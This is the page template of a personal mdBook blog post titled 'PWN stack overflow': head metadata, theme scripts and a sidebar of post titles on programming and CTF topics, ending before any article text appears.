1015 lines
78 KiB
HTML
1015 lines
78 KiB
HTML
<!DOCTYPE HTML>
|
||
<html lang="en" class="coal" dir="ltr">
|
||
<head>
|
||
<!-- Book generated using mdBook -->
|
||
<meta charset="UTF-8">
|
||
<title>PWN stack overflow - Andrew's Blog</title>
|
||
|
||
|
||
<!-- Custom HTML head -->
|
||
|
||
<meta name="description" content="Andrew Ryan's Blog">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
<meta name="theme-color" content="#ffffff">
|
||
|
||
<link rel="icon" href="../../favicon.svg">
|
||
<link rel="shortcut icon" href="../../favicon.png">
|
||
<link rel="stylesheet" href="../../css/variables.css">
|
||
<link rel="stylesheet" href="../../css/general.css">
|
||
<link rel="stylesheet" href="../../css/chrome.css">
|
||
|
||
<!-- Fonts -->
|
||
<link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
|
||
<link rel="stylesheet" href="../../fonts/fonts.css">
|
||
|
||
<!-- Highlight.js Stylesheets -->
|
||
<link rel="stylesheet" href="../../highlight.css">
|
||
<link rel="stylesheet" href="../../tomorrow-night.css">
|
||
<link rel="stylesheet" href="../../ayu-highlight.css">
|
||
|
||
<!-- Custom theme stylesheets -->
|
||
<link rel="stylesheet" href="../../src/style/custom.css">
|
||
|
||
<!-- MathJax -->
|
||
<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
|
||
</head>
|
||
<body class="sidebar-visible no-js">
|
||
<div id="body-container">
|
||
<!-- Provide site root to javascript -->
|
||
<script>
|
||
var path_to_root = "../../";
|
||
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
|
||
</script>
|
||
|
||
<!-- Work around some values being stored in localStorage wrapped in quotes -->
|
||
<script>
|
||
try {
|
||
var theme = localStorage.getItem('mdbook-theme');
|
||
var sidebar = localStorage.getItem('mdbook-sidebar');
|
||
|
||
if (theme.startsWith('"') && theme.endsWith('"')) {
|
||
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
|
||
}
|
||
|
||
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
|
||
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
|
||
}
|
||
} catch (e) { }
|
||
</script>
|
||
|
||
<!-- Set the theme before any content is loaded, prevents flash -->
|
||
<script>
|
||
var theme;
|
||
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
|
||
if (theme === null || theme === undefined) { theme = default_theme; }
|
||
var html = document.querySelector('html');
|
||
html.classList.remove('coal')
|
||
html.classList.add(theme);
|
||
var body = document.querySelector('body');
|
||
body.classList.remove('no-js')
|
||
body.classList.add('js');
|
||
</script>
|
||
|
||
<input type="checkbox" id="sidebar-toggle-anchor" class="hidden">
|
||
|
||
<!-- Hide / unhide sidebar before it is displayed -->
|
||
<script>
|
||
var body = document.querySelector('body');
|
||
var sidebar = null;
|
||
var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
|
||
if (document.body.clientWidth >= 1080) {
|
||
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
|
||
sidebar = sidebar || 'visible';
|
||
} else {
|
||
sidebar = 'hidden';
|
||
}
|
||
sidebar_toggle.checked = sidebar === 'visible';
|
||
body.classList.remove('sidebar-visible');
|
||
body.classList.add("sidebar-" + sidebar);
|
||
</script>
|
||
|
||
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
|
||
<div class="sidebar-scrollbox">
|
||
<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/linux/run_x86_elf_in_x64_setup.html"><strong aria-hidden="true">1.6.</strong> run x86 elf in x64 setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> mac</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in鑱絊wift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> ios</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> objective_c</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/rust_logger_non-block.html"><strong aria-hidden="true">7.25.</strong> rust logger non-block</a></li><li class="chapter-item "><a href="../../posts/rust/rust_connect_sql_server_database.html"><strong aria-hidden="true">7.26.</strong> rust connect sql server database</a></li><li class="chapter-item "><a href="../../posts/rust/rust_websocket_implment.html"><strong aria-hidden="true">7.27.</strong> rust websocket implment</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> js</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> react</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> ctf</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.26.</strong> PWN_note</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">19.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/pwn_stack_overflow.html" class="active"><strong aria-hidden="true">19.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">19.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">19.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_train_at_hangzhou.html"><strong aria-hidden="true">19.37.</strong> ctf train at hangzhou</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_common_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf common mindmap list</a></li><li class="chapter-item "><a href="../../posts/ctf/error_based_sql_injection.html"><strong aria-hidden="true">19.39.</strong> Error Based SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/urlfinder_tutorial.html"><strong aria-hidden="true">19.40.</strong> URLFinder Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/observer_ward_tutorial.html"><strong aria-hidden="true">19.41.</strong> observer_ward Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/mysql_udf_.html"><strong aria-hidden="true">19.42.</strong> MySQL UDF 提权</a></li><li class="chapter-item "><a href="../../posts/ctf/nuclei__tutorial.html"><strong aria-hidden="true">19.43.</strong> Nuclei Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/2024_ctf_solution_thinking.html"><strong aria-hidden="true">19.44.</strong> 2024 ctf solution thinking</a></li><li class="chapter-item "><a href="../../posts/ctf/man_che_si_te_bian_ma.html"><strong aria-hidden="true">19.45.</strong> 曼彻斯特编码</a></li></ol></li></ol>
|
||
</div>
|
||
<div id="sidebar-resize-handle" class="sidebar-resize-handle">
|
||
<div class="sidebar-resize-indicator"></div>
|
||
</div>
|
||
</nav>
|
||
|
||
<!-- Track and set sidebar scroll position -->
|
||
<script>
|
||
var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
|
||
sidebarScrollbox.addEventListener('click', function(e) {
|
||
if (e.target.tagName === 'A') {
|
||
sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
|
||
}
|
||
}, { passive: true });
|
||
var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
|
||
sessionStorage.removeItem('sidebar-scroll');
|
||
if (sidebarScrollTop) {
|
||
// preserve sidebar scroll position when navigating via links within sidebar
|
||
sidebarScrollbox.scrollTop = sidebarScrollTop;
|
||
} else {
|
||
// scroll sidebar to current active section when navigating via "next/previous chapter" buttons
|
||
var activeSection = document.querySelector('#sidebar .active');
|
||
if (activeSection) {
|
||
activeSection.scrollIntoView({ block: 'center' });
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<div id="page-wrapper" class="page-wrapper">
|
||
|
||
<div class="page">
|
||
<div id="menu-bar-hover-placeholder"></div>
|
||
<div id="menu-bar" class="menu-bar sticky">
|
||
<div class="left-buttons">
|
||
<label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
|
||
<i class="fa fa-bars"></i>
|
||
</label>
|
||
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
|
||
<i class="fa fa-paint-brush"></i>
|
||
</button>
|
||
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
|
||
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
|
||
</ul>
|
||
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
|
||
<i class="fa fa-search"></i>
|
||
</button>
|
||
</div>
|
||
|
||
<h1 class="menu-title">Andrew's Blog</h1>
|
||
|
||
<div class="right-buttons">
|
||
<a href="https://gitlink.org.cn/dnrops/dnrops.gitlink.net.git" title="Git repository" aria-label="Git repository">
|
||
<i id="git-repository-button" class="fa fa-github"></i>
|
||
</a>
|
||
|
||
</div>
|
||
</div>
|
||
|
||
<div id="search-wrapper" class="hidden">
|
||
<form id="searchbar-outer" class="searchbar-outer">
|
||
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
|
||
</form>
|
||
<div id="searchresults-outer" class="searchresults-outer hidden">
|
||
<div id="searchresults-header" class="searchresults-header"></div>
|
||
<ul id="searchresults">
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
|
||
<script>
|
||
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
|
||
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
|
||
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
|
||
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
|
||
});
|
||
</script>
|
||
|
||
<div id="content" class="content">
|
||
<main>
|
||
